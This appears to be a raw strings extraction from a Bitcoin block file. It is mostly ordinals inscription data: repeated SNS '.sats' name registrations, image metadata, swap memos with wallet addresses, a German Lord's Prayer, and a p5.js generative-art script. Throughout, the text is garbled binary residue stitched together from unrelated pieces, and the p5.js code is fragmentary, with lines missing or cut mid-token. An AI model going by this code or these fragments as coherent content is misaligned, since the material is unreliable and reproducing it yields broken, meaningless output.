File: blk03446.txt
FjDOUT:236D98EBF220DDE613BCBE2AD701AF65EFB29D5BE1BF74DD9755432B54607D72 text/plain;charset=utf-8 text/plain;charset=utf-8 .Lets go on a date, bills on whoever is shorterh! text/plain;charset=utf-8 "name": "f*ck.sats" text/plain;charset=utf-8 c$7BC}=J)lK22Z``(GKS text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"Mr.tree.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"lemontree.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0905.sats"}h! (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 "name": "5412.sats" text/plain;charset=utf-8 "name": "lce.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"27725.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"PROOF.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"azca.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"B.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"bruzza.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"Kaspa.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"77225.sats"}h! text/plain;charset=utf-8 "name": "11011.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "0x88.sats" text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"shipin.sats"}h! -http://ns.adobe.com/xap/1.0/ " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshoM p 23.0 (Windows)" xmpMM:InstanceID="xmp.iid:BC6DC974B23E11ED8B6F85543712B948" xmpMM:DocumentID="xmp.did:BC6DC975B23E11ED8B6F85543712B948"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BC6DC972B23E11ED8B6F85543712B948" stRef:documentID="xmp.did:BC6DC973B23E11ED8B6F85543712B948"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> )A&&AB///BG?>>?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG ))4&4?((?G?5?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG text/plain;charset=utf-8 S@vDDDDDDDDDDDDDDDDDDD9 text/plain;charset=utf-8 "name": "chainalysis.sats" text/plain;charset=utf-8 %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz text/plain;charset=utf-8 "name": "00996.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 -http://ns.adobe.com/xap/1.0/ " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshoM p 23.0 (Windows)" xmpMM:InstanceID="xmp.iid:BCB6B363B23E11EDABC9E64242DE59F5" xmpMM:DocumentID="xmp.did:BCB6B364B23E11EDABC9E64242DE59F5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BCB6B361B23E11EDABC9E64242DE59F5" stRef:documentID="xmp.did:BCB6B362B23E11EDABC9E64242DE59F5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> )A&&AB///BG?>>?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG ))4&4?((?G?5?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG (:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc /cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc text/plain;charset=utf-8 d/Foundry USA Pool #dropgold/ text/plain;charset=utf-8 "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq (((((((((((((((((((((((((((((((((((((((((((((((((( (((((((((((((((((((((((((((((((((((((((((((((((((( "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"eaa.sats"}h! uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"teawine.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"fomo.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0418.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"Twitter.sats"}h! text/plain;charset=utf-8 uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"oor.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"Godisdope.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"qun.sats"}h! text/plain;charset=utf-8 "name": "berlin.sats" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0609.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0503.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"Lakers.sats"}h! text/plain;charset=utf-8 "name": "1.bitcoin" KjI=:BNB.BUSD-BD1:bnb1354mdjlaxt9zw85flgnmcvvgfnrqpm4ut28wyu:811167450026::0 text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"A.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"I.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"K.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"jiankang.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"B.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"1919810.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"G.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"I.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"E.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"J.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"C.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"H.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"D.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"F.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0843.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"kyve.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"celestia.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"100BTC.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"jjkk.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"ggxx.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"ssff.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"kkxx.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"kkll.sats"}h! text/plain;charset=utf-8 (:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc /cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc text/plain;charset=utf-8 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"33325.sats"}h! text/html;charset=utf-8 <meta charset="UTF-8"> <title>Balance</title> <script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.4.0/p5.min.js"></script> //Balance() by tzC0de. Made with p5.js col1 = ["#267365", "#F2CB05", "#F29F05", "#F28705", "#F23030", "#14140F"] col2 = ["#D9042B","#270140","#F2B705","#F28705","#F22F1D"] col3 = ["#0388A6","#04C4D9","#F29F05","#F28705","#A63F03"] col4 = ["#F2BF27","#404040","#DB005E","#2FB9D4"] #D9D7D7","#F25F29","#F24822","#F2B1A2","#0D0D0D"] col6 = ["#012C40","#00708C","#D9D7D7","#FF404C","#1CA5B8"] col7 = ["#BF1120","#0468BF","#F2D22E","#F29472","#F21905"] col8 = ["#FF6B00","#FFA000","#22D6FF","#1F70CC","#1930B8"] col9 = ["#FFFFFF","#CCCCCC","#999999","#666666","#000000"] bgcol = ["#161F30","#f2eddc","#f2eddc","#f2eddc"] createCanvas(530,830); let percent = 30 / 100; aphics = createGraphics(width, height); graphics.stroke(255, 10 / 100 * 255); for (i = 0; i < graphics.width * graphics.height * percent; i++) { graphics.point(random(graphics.width), random(graphics.height)); v = createGraphics(500,800) col = random([col1,col2,col3,col4,col5,col6,col7,col8,col9]) num2 = random([0,1,2,3,4,5]) v.translate(v.width/2,v.height/2) for(let i = v.height; i > v.width/6; i+= -((h1 / 2 + h2 / 2)+2.6)) { h2 = random([800/8,800/10,800/12,800/5,800/6]); num = random([1,2,3,4]) recty(x1-h1/2,i-h1/2,h1,h1) v.strokeWeight(5) v.ellipse(x1,i,h1,h1) v.strokeWeight(5) v.rect(x1,i,h1,h1) v.strokeWeight(5) v.rect(x1,i+h1/3.3,h1,h1*0.4) v.ellipse(x1,i-h1/4.7,h1*0.6,h1*0.6) v.strokeWeight(5) v.triangle(x1,i-h1/2,x1+h1/2,i+h1/2,x1-h1/2,i+h1/2) image(v,width/2,height/2) image(graphics, width/2, height/2); function recty(x,y,w,h) { g = createGraphics(j,l) g.background(242, 237, 220,0) g.fill(random(col)) g.fill(random(col)) g.ellipse(g.width/2,g.height/2,g.width,g.heiM g.fill(random(col)) g.ellipse(g.width/2,g.height/2,g.width*0.8,g.height*0.8) g.fill(random(col)) g.ellipse(g.width/2,g.height/2,g.width*0.6,g.height*0.6) g.fill(random(col)) g.ellipse(g.width/2,g.height/2,g.width*0.4,g.height*0.4) g.fill(random(col)) g.ellipse(g.width/2,g.height/2,g.width*0.2,g.height*0.2) //g.strokeWeight(5) g.rect(g.width/2,g.height/2,g.width,g.height) g.fill(random(col)) dth/2,g.height/2,g.width*0.8,g.height*0.8) g.fill(random(col)) g.rect(g.width/2,g.height/2,g.width*0.6,g.height*0.6) g.fill(random(col)) g.rect(g.width/2,g.height/2,g.width*0.4,g.height*0.4) g.fill(random(col)) g.rect(g.width/2,g.height/2,g.width*0.2,g.height*0.2) //g.rect(x,y,w,h) //g.strokeWeight(5) g.fill(random(col)) g.rect(g.width/2,g.height*0.8,g.width,f) g.rect(g.width/2,g.height*0.8,g.width*0.75,f) g.fill(random(col)) g.rect(g.width/2,g.height*0.8,g.width*0.5,f) g.fill(random(col)) g.rect(g.width/2,g.height*0.8,g.width*0.25,f) g.fill(random(col)) g.ellipse(g.width/2,g.height*0.3,l) g.fill(random(col)) g.ellipse(g.width/2,g.height*0.3,l*0.75) g.fill(random(col)) g.ellipse(g.width/2,g.height*0.3,l*0.5) g.fill(random(col)) g.ellipse(g.width/2,g.height*0.3,l*0.25) //g.strokeWeight(5) g.fill(random(col)) g.triangle(u,p-p,u*2,p*2,u-u,p+p) g.fill(random(col)) g.triangle(u,p,u*2,p*2,u-u,p+p) for(let i = -v.height; i < v.width*2; i += 10) { if(bg == "#f2eddc") { v.line(i,-v.height,i,v.height) for(let i = -v.width; i < v.width; i += 8) { for (let j = -v.height; j < v.height; j += 8) { if(bg == "#f2eddc") { v.line(i,j,i+5,j+5) for (let i = 0; i < 50; i++) { if(bg == "#f2eddc") { v.ellipse(0,0,20*i) for (let i = 0; i < 50; i++) { if(bg == "#f2eddc") { for (let i = -v.width; i < v.width; i+=5) { for (let j = -v.height; j < v.height; j+=5) { if(bg == "#f2eddc") { var increment = 5; for(let j = -v.height; j < v.height; j+=5) { for (var i = -v.width; i < v.width; i+=increment) { v.vertex(i, j + (sin(k) * (sin(j) * 50))) function keyTyped() { if (key === 's' || key === 'S') { saveCanvas('myCanvas', 'png'); pixel art mistic monster Steps: 50, Sampler: DDIM, CFG scale: 7.5, Seed: 10076463, Size: 512x512, Model hash: 7460a6fa, Batch size: 6, Batch pos: 2, Seed resize from: -1x-1, Denoising strength: 0.6 ,+7+Gd5@[09V3St;(*(6Q* text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"23335.sats"}h! %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz (((((((((((((((((((((((((((((((((((((((((((((((((( "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"iaa.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"dps.sats"}h! wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwv wwwwwwwwwwwwwwwwwwwwwwmBn 2023-03-02T09:57:38+00:00 2023-03-02T09:57:38+00:00 2023-03-02T09:57:38+00:00 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"sth.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"luck.sats"}h! uiCCPkCGColorSpaceDisplayP3 "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"98634.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"98761.sats"}h! uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 Vater unser im Himmel, geheiligt werde dein Name. Dein Wille geschehe, wie im Himmel, so auf Erden. gliches Brot gib uns heute. Und vergib uns unsere Schuld, wie auch wir vergeben unsern Schuldigern. hre uns nicht in Versuchung, sondern erl Denn dein ist das Reich und die Kraft und die Herrlichkeit in Ewigkeit. text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0402.sats"}h! (((((((((((((((((((((((((((((((((((((((((((((((((( uiCCPkCGColorSpaceDisplayP3 iiiiiiiiiiiiiiiiiiii text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0502.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"NFL.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"Fendi.sats"}h! (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "0xyang.sats" uiCCPkCGColorSpaceDisplayP3 uiCCPkCGColorSpaceDisplayP3 &iTXtXML:com.adobe.xmp " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTM ool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:D443A9E6B8B211ED8628C917A383A1EE" xmpMM:DocumentID="xmp.did:D443A9E7B8B211ED8628C917A383A1EE"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D443A9E4B8B211ED8628C917A383A1EE" stRef:documentID="xmp.did:D443A9E5B8B211ED8628C917A383A1EE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> text/plain;charset=utf-8 Watch Garth Marenghih! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"pln.sats"}h! 2023-03-02T03:51:16+00:00 2023-03-02T03:51:16+00:00 2023-03-02T03:51:16+00:00 uiCCPkCGColorSpaceDisplayP3 uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"umutkardes.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"BAYC.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"18686.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"56888.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7806.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"slide.sats"}h! 6j4ion:2.QmWAen9jovZpxf1Bh8fWFRhydYeb2wwzZ8rfhYjoedZkcU JjH=:BNB.BUSD-BD1:bnb1j7hgpxcz98w9j4k4d8th98qc5lulagwtyknr5x:47701180390::0 text/plain;charset=utf-8 "name": "coincompany.sats" Created with GIMPd.e text/plain;charset=utf-8 "name": "cryptotec.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"N.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"O.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"ordmaxi.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"btcnftmaxi.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"M.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"btcmaxinft.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"ordmaxinft.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" Aj?=:ETH.ETH:0xd9D9a5Edf6E98912a2eDaa3286e34bf9ccae6c92:4373507::0 text/plain;charset=utf-8 name bitkiller.sats text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"95666.sats"}h! LjJ=:BNB.BUSD-BD1:bnb1jd7h6l57v7euzk84y2sqjqnyf94jv2fxesqrj7:99892633605:te:0 FjDOUT:8C4A5CD7034DD37823DBF786FB5C5DDE507DDC7A01AE4708E22E2D57776AEFCC FjDOUT:EE53A0231E623EF5CD7C016F42B39A74823919A7F1F55846B5ABE64F924487C7 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"1BTC.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10BTC.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"999BTC.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"BTC.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ETH.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"999BTC.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"666BTC.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"888BTC.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "reaper.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"d text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ric.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ale.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"carr.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"glamor.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"lure.sats"}h! 124894ae63686190d37d78a4fc9b1ffcH0E FjDOUT:39F4897BE995FEB956EC06DE55F47C106D45C70B848F8118A302CC99D192DDBA FjDOUT:C894873FB6577E935A06BF108B5C67CC07460EBB8404E967C8D1BF770D6D80F1 "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "01222.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "suv.sats" text/plain;charset=utf-8 "name": "cigar.sats" uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0414.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"gogogo.sats"}h! "Powered by Luxor Tech1002 (((((((((((((((((((((((((((((((((((((((((((((((((( "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0602.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"NBA.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"Buythedip.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"Cordontan.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"Bitmex.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"Elsalvador.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"StarDawgs.sats"}h! (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"gonglin.sats"}h! text/plain;charset=utf-8 Le{"p":"sns","op":"reg","name":"000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"blues.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"appletree.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"Meta.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"China.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"Pepsi.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"Facebook.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 "name": "1:1.sats" 333333333333333333333- text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"stong.sats"}h! UUUUUUUUUUUUUUUUUUUUU7 UUUUUUUUUUUUUUUUUUUUUUT DDDDDDDDDDDDDDDDDDDDDDD MUUUUUUUUUUUUUUUUUUUUUUUT =UUUUUUUUUUUUUUUUUUUUUUUT =UUUUUUUUUUUUUUUUUUUUUUUT Swwwwwwwwwwwwwwwwwwwwwwww 33333333333333333333333* 3333333333333333333333332v fffffffffffffffffffffffff UUUUUUUUUUUUUUUUUUUUUUUUT "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"USA.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"CNN.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0709.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"Football.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"otograf.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ola.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0508.sats"}h! Adobe Photoshop 23.5 (Macintosh) cropWhenPrintingbool http://ns.adobe.com/xap/1.0/ " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmetM a xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.dee3a7703, 2022/08/18-16:50:30 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreateDaM te="2021-12-07T16:38:26-05:00" xmp:MetadataDate="2023-03-02T01:28:12-05:00" xmp:ModifyDate="2023-03-02T01:28:12-05:00" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="Display" xmpMM:InstanceID="xmp.iid:eb208ad4-57da-4929-8993-7d5ad0a99e09" xmpMM:DocumentID="adobe:docid:photoshop:759ff94f-7b88-e041-acdb-fb5cf76978a8" xmpMM:OriginalDocumentID="xmp.did:7dac3f98-6c78-4b14-9b66-926a2876c766"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:7dac3f98-6c78-4b14-9b66-926M a2876c766" stEvt:when="2023-03-02T01:28:12-05:00" stEvt:softwareAgent="Adobe Photoshop 23.5 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from image/png to image/jpeg"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from image/png to image/jpeg"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:eb208ad4-57da-4929-8993-7d5ad0a99e09" stEvt:when="2023-03-02T01:28:12-05:00" stEvt:softwareAgent="Adobe Photoshop 23.5 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xM mpMM:History> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7dac3f98-6c78-4b14-9b66-926a2876c766" stRef:documentID="xmp.did:7dac3f98-6c78-4b14-9b66-926a2876c766" stRef:originalDocumentID="xmp.did:7dac3f98-6c78-4b14-9b66-926a2876c766"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> M M M M <?xpacket end="w"?> Copyright Apple Inc., 2021 ) * +",$-&.'/,0013263:4?5E6I7I8F9F:F;C<A=<>:?M `|arbicadZeTfQgNhKiKjHk;l.m!n text/plain;charset=utf-8 2{"p":"sns","op":"reg","name":"SiliconValley.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"Clintons.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"Dubai.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0807.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"osx.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"Jews.sats"}h! uiCCPkCGColorSpaceDisplayP3 iTXtXML:com.adobe.xmp <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:exif="http://ns.adobe.com/exif/1.0/"> <exif:PixelYDimension>636</exif:PixelYDimension> <exif:PixelXDimension>630</exif:PixelXDimension> <exif:UserComment>Screenshot</exif:UserComment> </rdf:Description> " $(($26062JD>>DJpPVPVPp " $(($26062JD>>DJpPVPVPp text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0415.sats"}h! uiCCPkCGColorSpaceDisplayP3 uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"Miami.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"lufei.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"araojpn.sats"}h! (((((((((((((((((((((((((((((((((((((((((((((((((( "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq 